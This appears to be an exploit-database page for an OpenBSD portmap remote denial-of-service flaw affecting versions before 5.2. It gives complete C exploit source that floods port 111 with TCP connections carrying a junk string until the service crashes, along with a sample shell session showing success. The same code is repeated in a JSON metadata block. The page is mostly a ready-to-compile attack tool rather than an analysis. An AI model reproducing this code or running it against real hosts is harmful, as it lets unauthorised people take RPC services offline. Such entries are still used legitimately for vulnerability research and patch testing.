Search...

OpenBSD 4.x - Portmap Remote Denial of Service

2012-11-22T00:00:00

ID EXPLOITPACK:6841548F75C37EEAC1B4B425726BA366
Type exploitpack
Reporter auto236751
Modified 2012-11-22T00:00:00

Description

OpenBSD 4.x - Portmap Remote Denial of Service

                                        
                                            // source: https://www.securityfocus.com/bid/56671/info

OpenBSD is prone to a remote denial-of-service vulnerability.

Successful exploits may allow the attacker to cause the application to crash, resulting in denial-of-service conditions.

OpenBSD versions prior to 5.2 are vulnerable. 

/*
 * authors: 22733db72ab3ed94b5f8a1ffcde850251fe6f466
 *          6e2d3d47576f746e9e65cb4d7f3aaa1519971189
 *          c8e74ebd8392fda4788179f9a02bb49337638e7b
 * 
 *  greetz: 43c86fd24bd63b100891ec4b861665e97230d6cf
 *          e4c0f3f28cf322779375b71f1c14d6f8308f789d
 *          691cb088c45ec9e31823ca7ab0da8b4cf8079baf
 *          b234a149e7ef00abc0f2ec7e6cf535ef4872eabc
 *
 *
 * -bash-4.2$ uname -a
 * OpenBSD obsd.my.domain 5.1 GENERIC#160 i386
 * -bash-4.2$ id
 * uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)
 * -bash-4.2$ netstat -an -f inet | grep 111
 * tcp          0      0  127.0.0.1.111          *.*                    LISTEN
 * tcp          0      0  *.111                  *.*                    LISTEN
 * udp          0      0  127.0.0.1.111          *.*
 * udp          0      0  *.111                  *.*
 * -bash-4.2$ gcc openbsd_libc_portmap.c
 * -bash-4.2$ ./a.out
 * [+] This code doesn't deserve 1337 status output.
 * [+] Trying to crash portmap on 127.0.0.1:111
 * [+] 127.0.0.1:111 is now down.
 *
 */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;arpa/inet.h&gt;

#define HOST "127.0.0.1"
#define PORT 111
#define LOOP 0x100


int main(void)
{
    int s, i;
    struct sockaddr_in saddr;

    printf("[+] This code doesn't deserve 1337 status output.\n");
    printf("[+] Trying to crash portmap on %s:%d\n", HOST, PORT);

    saddr.sin_family = AF_INET;
    saddr.sin_port = htons(PORT);
    saddr.sin_addr.s_addr = inet_addr(HOST);

    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in)) == -1) {
        printf("[-] %s:%d is already down.\n", HOST, PORT);
        return EXIT_FAILURE;
    }

    /* # of iteration needed varies but starts working for &gt; 0x30  */
    for(i=0; i &lt; LOOP; ++i) {
        s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in));
        send(s, "8========@", 10, 0);
    }

    if(connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in)) == -1)
        printf("[+] %s:%d is now down.\n", HOST, PORT);
    else
        printf("[-] %s:%d is still listening. Try to increase loop iterations...\n");

    return EXIT_SUCCESS;
}

JSON Vulners Source

Initial Source

{"lastseen": "2020-04-01T19:04:38", "references": [], "description": "\nOpenBSD 4.x - Portmap Remote Denial of Service", "edition": 1, "reporter": "auto236751", "exploitpack": {"type": "dos", "platform": "bsd"}, "published": "2012-11-22T00:00:00", "title": "OpenBSD 4.x - Portmap Remote Denial of Service", "type": "exploitpack", "enchantments": {"dependencies": {"references": [], "modified": "2020-04-01T19:04:38", "rev": 2}, "score": {"value": -0.4, "vector": "NONE", "modified": "2020-04-01T19:04:38", "rev": 2}, "vulnersScore": -0.4}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2012-11-22T00:00:00", "id": "EXPLOITPACK:6841548F75C37EEAC1B4B425726BA366", "href": "", "viewCount": 2, "sourceData": "// source: https://www.securityfocus.com/bid/56671/info\n\nOpenBSD is prone to a remote denial-of-service vulnerability.\n\nSuccessful exploits may allow the attacker to cause the application to crash, resulting in denial-of-service conditions.\n\nOpenBSD versions prior to 5.2 are vulnerable. \n\n/*\n * authors: 22733db72ab3ed94b5f8a1ffcde850251fe6f466\n * 6e2d3d47576f746e9e65cb4d7f3aaa1519971189\n * c8e74ebd8392fda4788179f9a02bb49337638e7b\n * \n * greetz: 43c86fd24bd63b100891ec4b861665e97230d6cf\n * e4c0f3f28cf322779375b71f1c14d6f8308f789d\n * 691cb088c45ec9e31823ca7ab0da8b4cf8079baf\n * b234a149e7ef00abc0f2ec7e6cf535ef4872eabc\n *\n *\n * -bash-4.2$ uname -a\n * OpenBSD obsd.my.domain 5.1 GENERIC#160 i386\n * -bash-4.2$ id\n * uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)\n * -bash-4.2$ netstat -an -f inet | grep 111\n * tcp 0 0 127.0.0.1.111 *.* LISTEN\n * tcp 0 0 *.111 *.* LISTEN\n * udp 0 0 127.0.0.1.111 *.*\n * udp 0 0 *.111 *.*\n * -bash-4.2$ gcc openbsd_libc_portmap.c\n * -bash-4.2$ ./a.out\n * [+] This code doesn't deserve 1337 status output.\n * [+] Trying to crash portmap on 127.0.0.1:111\n * [+] 127.0.0.1:111 is now down.\n *\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/socket.h>\n#include <sys/types.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n\n#define HOST \"127.0.0.1\"\n#define PORT 111\n#define LOOP 0x100\n\n\nint main(void)\n{\n int s, i;\n struct sockaddr_in saddr;\n\n printf(\"[+] This code doesn't deserve 1337 status output.\\n\");\n printf(\"[+] Trying to crash portmap on %s:%d\\n\", HOST, PORT);\n\n saddr.sin_family = AF_INET;\n saddr.sin_port = htons(PORT);\n saddr.sin_addr.s_addr = inet_addr(HOST);\n\n s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n if(connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in)) == -1) {\n printf(\"[-] %s:%d is already down.\\n\", HOST, PORT);\n return EXIT_FAILURE;\n }\n\n /* # of iteration needed varies but starts working for > 0x30 */\n for(i=0; i < LOOP; ++i) {\n s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in));\n send(s, \"8========@\", 10, 0);\n }\n\n if(connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in)) == -1)\n printf(\"[+] %s:%d is now down.\\n\", HOST, PORT);\n else\n printf(\"[-] %s:%d is still listening. Try to increase loop iterations...\\n\");\n\n return EXIT_SUCCESS;\n}", "cvss": {"score": 0.0, "vector": "NONE"}}